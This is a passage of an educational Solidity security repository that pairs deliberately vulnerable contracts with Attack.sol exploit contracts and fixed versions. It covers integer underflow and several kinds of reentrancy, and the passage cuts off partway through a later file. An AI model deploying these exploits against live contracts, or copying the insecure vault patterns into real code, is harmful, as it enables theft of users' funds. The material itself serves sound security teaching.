├── .gitignore ├── 01_integer_underflow ├── Attack.sol ├── Dependencies.sol ├── FixedEtherVault.sol ├── InsecureEtherVault.sol └── README.md ├── 02_reentrancy ├── Attack.sol ├── FixedEtherVault.sol ├── InsecureEtherVault.sol └── README.md ├── 03_reentrancy_via_modifier ├── Attack.sol ├── Dependencies.sol ├── FixedAirdrop.sol ├── InsecureAirdrop.sol └── README.md ├── 04_cross_function_reentrancy ├── Attack.sol ├── Dependencies.sol ├── FixedEtherVault.sol ├── InsecureEtherVault.sol └── README.md ├── 05_cross_contract_reentrancy ├── Attack.sol ├── Dependencies.sol ├── FixedMoonVault.sol ├── InsecureMoonVault.sol └── README.md ├── 06_integer_overflow ├── Attack.sol ├── FixedMoonToken.sol ├── InsecureMoonToken.sol └── README.md ├── 07_phishing_with_improper_authorization ├── FixedDonation.sol ├── InsecureDonation.sol ├── PhishingAttack.sol └── README.md ├── 08_unexpected_ether_with_forcibly_sending_ether ├── Attack.sol ├── FixedMoonToken.sol ├── InsecureMoonToken.sol └── README.md ├── 09_denial_of_service_with_revert ├── Attack.sol ├── Dependencies.sol ├── FixedWinnerTakesItAll.sol ├── InsecureWinnerTakesItAll.sol └── README.md ├── 10_denial_of_service_with_gas_limit ├── Attack.sol ├── FixedNaiveBank.sol ├── InsecureNaiveBank.sol └── README.md ├── 11_denial_of_service_with_induction_variable_overflow ├── FixedSimpleAirdrop.sol ├── IssueSimulation.sol ├── README.md └── VulnerableSimpleAirdrop.sol ├── 12_amplification_attack__double_spending_01 ├── Attack.sol ├── Dependencies.sol ├── FixedMoonDAOVote.sol ├── InsecureMoonDAOVote.sol └── README.md ├── 13_double_spending_02 ├── Attack.sol ├── FixedNaiveBank.sol ├── InsecureNaiveBank.sol └── README.md ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /01_integer_underflow/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | interface IEtherVault { 14 | function withdraw(uint256 _amount) external; 15 | function getEtherBalance() external view returns (uint256); 16 | } 17 | 18 | contract Attack { 19 | IEtherVault public immutable etherVault; 20 | 21 | constructor(IEtherVault _etherVault) public { 22 | etherVault = _etherVault; 23 | } 24 | 25 | receive() external payable {} 26 | 27 | function attack() external { 28 | etherVault.withdraw(etherVault.getEtherBalance()); 29 | } 30 | 31 | function getEtherBalance() external view returns (uint256) { 32 | return address(this).balance; 33 | } 34 | } -------------------------------------------------------------------------------- /01_integer_underflow/Dependencies.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | abstract contract ReentrancyGuard { 14 | bool internal locked; 15 | 16 | modifier noReentrant() { 17 | require(!locked, "No re-entrancy"); 18 | locked = true; 19 | _; 20 | locked = false; 21 | } 22 | } -------------------------------------------------------------------------------- /01_integer_underflow/FixedEtherVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | // Simplified SafeMath 16 | library SafeMath { 17 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 18 | uint256 c = a + b; 19 | require(c >= a, "SafeMath: addition overflow"); 20 | 21 | return c; 22 | } 23 | 24 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 25 | require(b <= a, "SafeMath: subtraction overflow"); 26 | uint256 c = a - b; 27 | 28 | return c; 29 | } 30 | } 31 | 32 | contract FixedEtherVault is ReentrancyGuard { 33 | using SafeMath for uint256; 34 | 35 | mapping (address => uint256) private userBalances; 36 | 37 | function deposit() external payable { 38 | userBalances[msg.sender] = userBalances[msg.sender].add(msg.value); // FIX: Apply SafeMath 39 | } 40 | 41 | function withdraw(uint256 _amount) external noReentrant { 42 | uint256 balance = getUserBalance(msg.sender); 43 | require(balance.sub(_amount) >= 0, "Insufficient balance"); // FIX: Apply SafeMath 44 | 45 | userBalances[msg.sender] = userBalances[msg.sender].sub(_amount); // FIX: Apply SafeMath 46 | 47 | (bool success, ) = msg.sender.call{value: _amount}(""); 48 | require(success, "Failed to send Ether"); 49 | } 50 | 51 | function getEtherBalance() external view returns (uint256) { 52 | return address(this).balance; 53 | } 54 | 55 | function getUserBalance(address _user) public view returns (uint256) { 56 | return userBalances[_user]; 57 | } 58 | } -------------------------------------------------------------------------------- /01_integer_underflow/InsecureEtherVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract InsecureEtherVault is ReentrancyGuard { 16 | mapping (address => uint256) private userBalances; 17 | 18 | function deposit() external payable { 19 | userBalances[msg.sender] += msg.value; 20 | } 21 | 22 | function withdraw(uint256 _amount) external noReentrant { 23 | uint256 balance = getUserBalance(msg.sender); 24 | require(balance - _amount >= 0, "Insufficient balance"); 25 | 26 | userBalances[msg.sender] -= _amount; 27 | 28 | (bool success, ) = msg.sender.call{value: _amount}(""); 29 | require(success, "Failed to send Ether"); 30 | } 31 | 32 | function getEtherBalance() external view returns (uint256) { 33 | return address(this).balance; 34 | } 35 | 36 | function getUserBalance(address _user) public view returns (uint256) { 37 | return userBalances[_user]; 38 | } 39 | } -------------------------------------------------------------------------------- /01_integer_underflow/README.md: -------------------------------------------------------------------------------- 1 | # 01. Integer Underflow 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Integer Underflow]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/) | -------------------------------------------------------------------------------- /02_reentrancy/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | interface IEtherVault { 14 | function deposit() external payable; 15 | function withdrawAll() external; 16 | } 17 | 18 | contract Attack { 19 | IEtherVault public immutable etherVault; 20 | 21 | constructor(IEtherVault _etherVault) { 22 | etherVault = _etherVault; 23 | } 24 | 25 | receive() external payable { 26 | if (address(etherVault).balance >= 1 ether) { 27 | etherVault.withdrawAll(); 28 | } 29 | } 30 | 31 | function attack() external payable { 32 | require(msg.value == 1 ether, "Require 1 Ether to attack"); 33 | etherVault.deposit{value: 1 ether}(); 34 | etherVault.withdrawAll(); 35 | } 36 | 37 | function getBalance() external view returns (uint256) { 38 | return address(this).balance; 39 | } 40 | } -------------------------------------------------------------------------------- /02_reentrancy/FixedEtherVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | abstract contract ReentrancyGuard { 14 | bool internal locked; 15 | 16 | modifier noReentrant() { 17 | require(!locked, "No re-entrancy"); 18 | locked = true; 19 | _; 20 | locked = false; 21 | } 22 | } 23 | 24 | contract FixedEtherVault is ReentrancyGuard { 25 | mapping (address => uint256) private userBalances; 26 | 27 | function deposit() external payable { 28 | userBalances[msg.sender] += msg.value; 29 | } 30 | 31 | function withdrawAll() external noReentrant { // FIX: Apply mutex lock 32 | uint256 balance = getUserBalance(msg.sender); 33 | require(balance > 0, "Insufficient balance"); // Check 34 | 35 | // FIX: Apply checks-effects-interactions pattern 36 | userBalances[msg.sender] = 0; // Effect 37 | 38 | (bool success, ) = msg.sender.call{value: balance}(""); // Interaction 39 | require(success, "Failed to send Ether"); 40 | } 41 | 42 | function getBalance() external view returns (uint256) { 43 | return address(this).balance; 44 | } 45 | 46 | function getUserBalance(address _user) public view returns (uint256) { 47 | return userBalances[_user]; 48 | } 49 | } -------------------------------------------------------------------------------- /02_reentrancy/InsecureEtherVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | contract InsecureEtherVault { 14 | mapping (address => uint256) private userBalances; 15 | 16 | function deposit() external payable { 17 | userBalances[msg.sender] += msg.value; 18 | } 19 | 20 | function withdrawAll() external { 21 | uint256 balance = getUserBalance(msg.sender); 22 | require(balance > 0, "Insufficient balance"); 23 | 24 | (bool success, ) = msg.sender.call{value: balance}(""); 25 | require(success, "Failed to send Ether"); 26 | 27 | userBalances[msg.sender] = 0; 28 | } 29 | 30 | function getBalance() external view returns (uint256) { 31 | return address(this).balance; 32 | } 33 | 34 | function getUserBalance(address _user) public view returns (uint256) { 35 | return userBalances[_user]; 36 | } 37 | } -------------------------------------------------------------------------------- /02_reentrancy/README.md: -------------------------------------------------------------------------------- 1 | # 02. Reentrancy 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Reentrancy]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/) | -------------------------------------------------------------------------------- /03_reentrancy_via_modifier/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | interface IAirdrop { 16 | function receiveAirdrop() external; 17 | function getUserBalance(address _user) external view returns (uint256); 18 | } 19 | 20 | contract Attack is IAirdropReceiver { 21 | IAirdrop public immutable airdrop; 22 | 23 | uint256 public xTimes; 24 | uint256 public xCount; 25 | 26 | constructor(IAirdrop _airdrop) { 27 | airdrop = _airdrop; 28 | } 29 | 30 | function canReceiveAirdrop() external override returns (bool) { 31 | if (xCount < xTimes) { 32 | xCount++; 33 | airdrop.receiveAirdrop(); 34 | } 35 | return true; 36 | } 37 | 38 | function attack(uint256 _xTimes) external { 39 | xTimes = _xTimes; 40 | xCount = 1; 41 | 42 | airdrop.receiveAirdrop(); 43 | } 44 | 45 | function getBalance() external view returns (uint256) { 46 | return airdrop.getUserBalance(address(this)); 47 | } 48 | } -------------------------------------------------------------------------------- /03_reentrancy_via_modifier/Dependencies.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | interface IAirdropReceiver { 14 | function canReceiveAirdrop() external returns (bool); 15 | } -------------------------------------------------------------------------------- /03_reentrancy_via_modifier/FixedAirdrop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | abstract contract ReentrancyGuard { 16 | bool internal locked; 17 | 18 | modifier noReentrant() { 19 | require(!locked, "No re-entrancy"); 20 | locked = true; 21 | _; 22 | locked = false; 23 | } 24 | } 25 | 26 | contract FixedAirdrop is ReentrancyGuard { 27 | mapping (address => uint256) private userBalances; 28 | mapping (address => bool) private receivedAirdrops; 29 | 30 | uint256 public immutable airdropAmount; 31 | 32 | constructor(uint256 _airdropAmount) { 33 | airdropAmount = _airdropAmount; 34 | } 35 | 36 | // FIX: 1. Apply mutex lock (noReentrant) as the first modifier 37 | // FIX: 2. Call canReceiveAirdrop before neverReceiveAirdrop 38 | function receiveAirdrop() external noReentrant canReceiveAirdrop neverReceiveAirdrop { 39 | // Mint Airdrop 40 | userBalances[msg.sender] += airdropAmount; 41 | receivedAirdrops[msg.sender] = true; 42 | } 43 | 44 | modifier neverReceiveAirdrop { 45 | require(!receivedAirdrops[msg.sender], "You already received an Airdrop"); 46 | _; 47 | } 48 | 49 | // In this example, the _isContract() function is used for checking 50 | // an airdrop compatibility only, not checking for any security aspects 51 | function _isContract(address _account) internal view returns (bool) { 52 | // It is unsafe to assume that an address for which this function returns 53 | // false is an externally-owned account (EOA) and not a contract 54 | uint256 size; 55 | assembly { 56 | // There is a contract size check bypass issue 57 | // But, it is not the scope of this example though 58 | size := extcodesize(_account) 59 | } 60 | return size > 0; 61 | } 62 | 63 | modifier canReceiveAirdrop() { 64 | // If the caller is a smart contract, check if it can receive an airdrop 65 | if (_isContract(msg.sender)) { 66 | // In this example, the _isContract() function is used for checking 67 | // an airdrop compatibility only, not checking for any security aspects 68 | require( 69 | IAirdropReceiver(msg.sender).canReceiveAirdrop(), 70 | "Receiver cannot receive an airdrop" 71 | ); 72 | } 73 | _; 74 | } 75 | 76 | function getUserBalance(address _user) external view returns (uint256) { 77 | return userBalances[_user]; 78 | } 79 | 80 | function hasReceivedAirdrop(address _user) external view returns (bool) { 81 | return receivedAirdrops[_user]; 82 | } 83 | } -------------------------------------------------------------------------------- /03_reentrancy_via_modifier/InsecureAirdrop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract InsecureAirdrop { 16 | mapping (address => uint256) private userBalances; 17 | mapping (address => bool) private receivedAirdrops; 18 | 19 | uint256 public immutable airdropAmount; 20 | 21 | constructor(uint256 _airdropAmount) { 22 | airdropAmount = _airdropAmount; 23 | } 24 | 25 | function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop { 26 | // Mint Airdrop 27 | userBalances[msg.sender] += airdropAmount; 28 | receivedAirdrops[msg.sender] = true; 29 | } 30 | 31 | modifier neverReceiveAirdrop { 32 | require(!receivedAirdrops[msg.sender], "You already received an Airdrop"); 33 | _; 34 | } 35 | 36 | // In this example, the _isContract() function is used for checking 37 | // an airdrop compatibility only, not checking for any security aspects 38 | function _isContract(address _account) internal view returns (bool) { 39 | // It is unsafe to assume that an address for which this function returns 40 | // false is an externally-owned account (EOA) and not a contract 41 | uint256 size; 42 | assembly { 43 | // There is a contract size check bypass issue 44 | // But, it is not the scope of this example though 45 | size := extcodesize(_account) 46 | } 47 | return size > 0; 48 | } 49 | 50 | modifier canReceiveAirdrop() { 51 | // If the caller is a smart contract, check if it can receive an airdrop 52 | if (_isContract(msg.sender)) { 53 | // In this example, the _isContract() function is used for checking 54 | // an airdrop compatibility only, not checking for any security aspects 55 | require( 56 | IAirdropReceiver(msg.sender).canReceiveAirdrop(), 57 | "Receiver cannot receive an airdrop" 58 | ); 59 | } 60 | _; 61 | } 62 | 63 | function getUserBalance(address _user) external view returns (uint256) { 64 | return userBalances[_user]; 65 | } 66 | 67 | function hasReceivedAirdrop(address _user) external view returns (bool) { 68 | return receivedAirdrops[_user]; 69 | } 70 | } -------------------------------------------------------------------------------- /03_reentrancy_via_modifier/README.md: -------------------------------------------------------------------------------- 1 | # 03. Reentrancy via Modifier 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Reentrancy via Modifier]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/) | -------------------------------------------------------------------------------- /04_cross_function_reentrancy/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | interface IEtherVault { 14 | function deposit() external payable; 15 | function transfer(address _to, uint256 _amount) external; 16 | function withdrawAll() external; 17 | function getUserBalance(address _user) external view returns (uint256); 18 | } 19 | 20 | contract Attack { 21 | IEtherVault public immutable etherVault; 22 | Attack public attackPeer; 23 | 24 | constructor(IEtherVault _etherVault) { 25 | etherVault = _etherVault; 26 | } 27 | 28 | function setAttackPeer(Attack _attackPeer) external { 29 | attackPeer = _attackPeer; 30 | } 31 | 32 | receive() external payable { 33 | if (address(etherVault).balance >= 1 ether) { 34 | etherVault.transfer( 35 | address(attackPeer), 36 | etherVault.getUserBalance(address(this)) 37 | ); 38 | } 39 | } 40 | 41 | function attackInit() external payable { 42 | require(msg.value == 1 ether, "Require 1 Ether to attack"); 43 | etherVault.deposit{value: 1 ether}(); 44 | etherVault.withdrawAll(); 45 | } 46 | 47 | function attackNext() external { 48 | etherVault.withdrawAll(); 49 | } 50 | 51 | function getBalance() external view returns (uint256) { 52 | return address(this).balance; 53 | } 54 | } -------------------------------------------------------------------------------- /04_cross_function_reentrancy/Dependencies.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | abstract contract ReentrancyGuard { 14 | bool internal locked; 15 | 16 | modifier noReentrant() { 17 | require(!locked, "No re-entrancy"); 18 | locked = true; 19 | _; 20 | locked = false; 21 | } 22 | } -------------------------------------------------------------------------------- /04_cross_function_reentrancy/FixedEtherVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract FixedEtherVault is ReentrancyGuard { 16 | mapping (address => uint256) private userBalances; 17 | 18 | function deposit() external payable { 19 | userBalances[msg.sender] += msg.value; 20 | } 21 | 22 | function transfer(address _to, uint256 _amount) external { 23 | if (userBalances[msg.sender] >= _amount) { 24 | userBalances[_to] += _amount; 25 | userBalances[msg.sender] -= _amount; 26 | } 27 | } 28 | 29 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier 30 | uint256 balance = getUserBalance(msg.sender); 31 | require(balance > 0, "Insufficient balance"); // Check 32 | 33 | // FIX: Apply checks-effects-interactions pattern 34 | userBalances[msg.sender] = 0; // Effect 35 | 36 | (bool success, ) = msg.sender.call{value: balance}(""); // Interaction 37 | require(success, "Failed to send Ether"); 38 | } 39 | 40 | function getBalance() external view returns (uint256) { 41 | return address(this).balance; 42 | } 43 | 44 | function getUserBalance(address _user) public view returns (uint256) { 45 | return userBalances[_user]; 46 | } 47 | } -------------------------------------------------------------------------------- /04_cross_function_reentrancy/InsecureEtherVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/ 10 | 11 | pragma solidity 0.8.13; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract InsecureEtherVault is ReentrancyGuard { 16 | mapping (address => uint256) private userBalances; 17 | 18 | function deposit() external payable { 19 | userBalances[msg.sender] += msg.value; 20 | } 21 | 22 | function transfer(address _to, uint256 _amount) external { 23 | if (userBalances[msg.sender] >= _amount) { 24 | userBalances[_to] += _amount; 25 | userBalances[msg.sender] -= _amount; 26 | } 27 | } 28 | 29 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier 30 | uint256 balance = getUserBalance(msg.sender); 31 | require(balance > 0, "Insufficient balance"); 32 | 33 | (bool success, ) = msg.sender.call{value: balance}(""); 34 | require(success, "Failed to send Ether"); 35 | 36 | userBalances[msg.sender] = 0; 37 | } 38 | 39 | function getBalance() external view returns (uint256) { 40 | return address(this).balance; 41 | } 42 | 43 | function getUserBalance(address _user) public view returns (uint256) { 44 | return userBalances[_user]; 45 | } 46 | } -------------------------------------------------------------------------------- /04_cross_function_reentrancy/README.md: -------------------------------------------------------------------------------- 1 | # 04. Cross-Function Reentrancy 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Cross-Function Reentrancy]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/) | -------------------------------------------------------------------------------- /05_cross_contract_reentrancy/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | interface IMoonVault { 16 | function deposit() external payable; 17 | function withdrawAll() external; 18 | function getUserBalance(address _user) external view returns (uint256); 19 | } 20 | 21 | contract Attack { 22 | IMoonToken public immutable moonToken; 23 | IMoonVault public immutable moonVault; 24 | Attack public attackPeer; 25 | 26 | constructor(IMoonToken _moonToken, IMoonVault _insecureMoonVault) { 27 | moonToken = _moonToken; 28 | moonVault = _insecureMoonVault; 29 | } 30 | 31 | function setAttackPeer(Attack _attackPeer) external { 32 | attackPeer = _attackPeer; 33 | } 34 | 35 | receive() external payable { 36 | if (address(moonVault).balance >= 1 ether) { 37 | moonToken.transfer( 38 | address(attackPeer), 39 | moonVault.getUserBalance(address(this)) 40 | ); 41 | } 42 | } 43 | 44 | function attackInit() external payable { 45 | require(msg.value == 1 ether, "Require 1 Ether to attack"); 46 | moonVault.deposit{value: 1 ether}(); 47 | moonVault.withdrawAll(); 48 | } 49 | 50 | function attackNext() external { 51 | moonVault.withdrawAll(); 52 | } 53 | 54 | function getBalance() external view returns (uint256) { 55 | return address(this).balance; 56 | } 57 | } -------------------------------------------------------------------------------- /05_cross_contract_reentrancy/Dependencies.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | abstract contract ReentrancyGuard { 14 | bool internal locked; 15 | 16 | modifier noReentrant() { 17 | require(!locked, 